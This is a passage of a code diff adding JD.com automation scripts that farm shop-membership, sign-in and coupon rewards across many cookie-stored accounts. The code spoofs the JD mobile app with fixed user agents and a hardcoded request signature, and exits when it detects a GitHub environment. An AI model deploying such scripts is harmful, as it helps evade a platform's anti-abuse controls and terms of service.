`activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + break; + case 'linkgame/activity/content': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activity['name']}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actor['actorUuid'] + console.log(ownCode) + } + $.actorUuid = data.data.actor['actorUuid']; + } else { + $.log("活动已经结束"); + } + break; + case 'linkgame/checkOpenCard': + $.openCardList = data.data.openCardList; + $.openCardStatus = data.data; + // console.log(data) + break; + case 'opencard/follow/shop': + console.log(data) + break; + case 'linkgame/sign': + console.log(data) + break; + case 'opencard/addCart': + if (data.data) { + console.log(data.data) + } + break; + case 'linkgame/sendAllCoupon': + if (data.data) { + console.log(data.data) + } + + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'opencard/draw': + console.log(data) + break; + case 'linkgame/assist/status': + $.log(JSON.stringify(data)) + break; + case 'linkgame/assist': + $.log(JSON.stringify(data)) + break; + case 'linkgame/help/list': + $.log(JSON.stringify(data)) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false + } else { + if (data) data = JSON.parse(data) + $.getAuthorCodeListerr = true + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_m_sign.js b/jd_m_sign.js new file mode 100644 index 0000000..ebcd994 --- /dev/null +++ b/jd_m_sign.js @@ -0,0 +1,227 @@ + +/* +京东通天塔--签到 +脚本更新时间:2021-12-17 14:20 +脚本兼容: Node.js +=========================== +[task_local] +#京东通天塔--签到 +3 0 * * * jd_m_sign.js, tag=京东通天塔--签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ + +const $ = new Env('京东通天塔--签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdsign(); + // await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function jdsign() { + try { + console.log(`签到开始........`) + await getInfo("https://pro.m.jd.com/mall/active/3S28janPLYmtFxypu37AYAGgivfp/index.html");//拍拍二手签到 + await $.wait(1000) + await getInfo("https://pro.m.jd.com/mall/active/4QjXVcRyTcRaLPaU6z2e3Sw1QzWE/index.html");//全城购签到 + await $.wait(1000) + await getInfo("https://prodev.m.jd.com/mall/active/3MFSkPGCDZrP2WPKBRZdiKm9AZ7D/index.html");//同城签到 + await $.wait(1000) + await getInfo("https://pro.m.jd.com/mall/active/kPM3Xedz1PBiGQjY4ZYGmeVvrts/index.html");//陪伴 + await $.wait(1000) + await getInfo("https://pro.m.jd.com/mall/active/3SC6rw5iBg66qrXPGmZMqFDwcyXi/index.html");//京东图书 + } catch (e) { + $.logErr(e) + } + +} + +async function getInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)' + } + }, async (err, resp, data) => { + try { + $.encryptProjectId = resp.body.match(/"encryptProjectId\\":\\"(.*?)\\"/)[1]; + $.encryptAssignmentId = resp.body.match(/"encryptAssignmentId\\":\\"(.*?)\\"/)[1]; + await doInteractiveAssignment($.encryptProjectId, $.encryptAssignmentId); + resolve(); + } catch (e) { + console.log(e) + } + }) + }) +} + +// 签到 +async function doInteractiveAssignment(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "aceaceqingzhan", "itemId": "1", "actionType": "", "completionFlag": "true", "ext": {} }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0' && data.rewardsInfo) { + // console.log(data.rewardsInfo); + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length 